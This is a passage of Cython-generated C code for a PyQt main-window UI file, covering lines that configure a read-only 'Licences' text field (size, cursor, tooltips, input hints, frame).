1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_sizePolicy); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 541, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":542 * sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) * self.RR_licences.setSizePolicy(sizePolicy) * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_licences.setMouseTracking(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__341, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 542, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":543 * self.RR_licences.setSizePolicy(sizePolicy) * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) # <<<<<<<<<<<<<< * self.RR_licences.setMouseTracking(False) * self.RR_licences.setAcceptDrops(False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setCursor); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QCursor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_ArrowCursor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_5) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 543, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":544 * self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_licences.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_licences.setAcceptDrops(False) * self.RR_licences.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 544, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 544, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__342, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 544, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":545 * self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) * self.RR_licences.setMouseTracking(False) * self.RR_licences.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_licences.setToolTip("") * self.RR_licences.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 545, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 545, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__343, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 545, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":546 * self.RR_licences.setMouseTracking(False) * self.RR_licences.setAcceptDrops(False) * self.RR_licences.setToolTip("") # <<<<<<<<<<<<<< * self.RR_licences.setStatusTip("") * self.RR_licences.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 546, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 546, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__344, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 546, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":547 * self.RR_licences.setAcceptDrops(False) * self.RR_licences.setToolTip("") * self.RR_licences.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_licences.setAccessibleName("") * self.RR_licences.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 547, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 547, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__345, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 547, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":548 * self.RR_licences.setToolTip("") * self.RR_licences.setStatusTip("") * self.RR_licences.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_licences.setAccessibleDescription("") * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 548, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 548, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__346, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 548, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":549 * self.RR_licences.setStatusTip("") * self.RR_licences.setAccessibleName("") * self.RR_licences.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.RR_licences.setInputMask("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 549, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 549, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__347, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 549, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":550 * self.RR_licences.setAccessibleName("") * self.RR_licences.setAccessibleDescription("") * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) # <<<<<<<<<<<<<< * self.RR_licences.setInputMask("") * self.RR_licences.setText("Licences") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ImhMultiLine); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 550, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":551 * self.RR_licences.setAccessibleDescription("") * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.RR_licences.setInputMask("") # <<<<<<<<<<<<<< * self.RR_licences.setText("Licences") * self.RR_licences.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 551, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 551, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__348, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 551, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":552 * self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.RR_licences.setInputMask("") * self.RR_licences.setText("Licences") # <<<<<<<<<<<<<< * self.RR_licences.setFrame(False) * self.RR_licences.setReadOnly(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 552, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 552, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__349, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 552, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":553 * self.RR_licences.setInputMask("") * self.RR_licences.setText("Licences") * self.RR_licences.setFrame(False) # <<<<<<<<<<<<<< * self.RR_licences.setReadOnly(True) * self.RR_licences.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 553, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 553, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__350, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 553, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":554 * self.RR_licences.setText("Licences") * self.RR_licences.setFrame(False) * self.RR_licences.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_licences.setPlaceholderText("") * self.RR_licences.setObjectName("RR_licences") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 554, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 554, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__351, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 554, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":555 * self.RR_licences.setFrame(False) * self.RR_licences.setReadOnly(True) * self.RR_licences.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_licences.setObjectName("RR_licences") * self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 555, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 555, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__352, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 555, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; 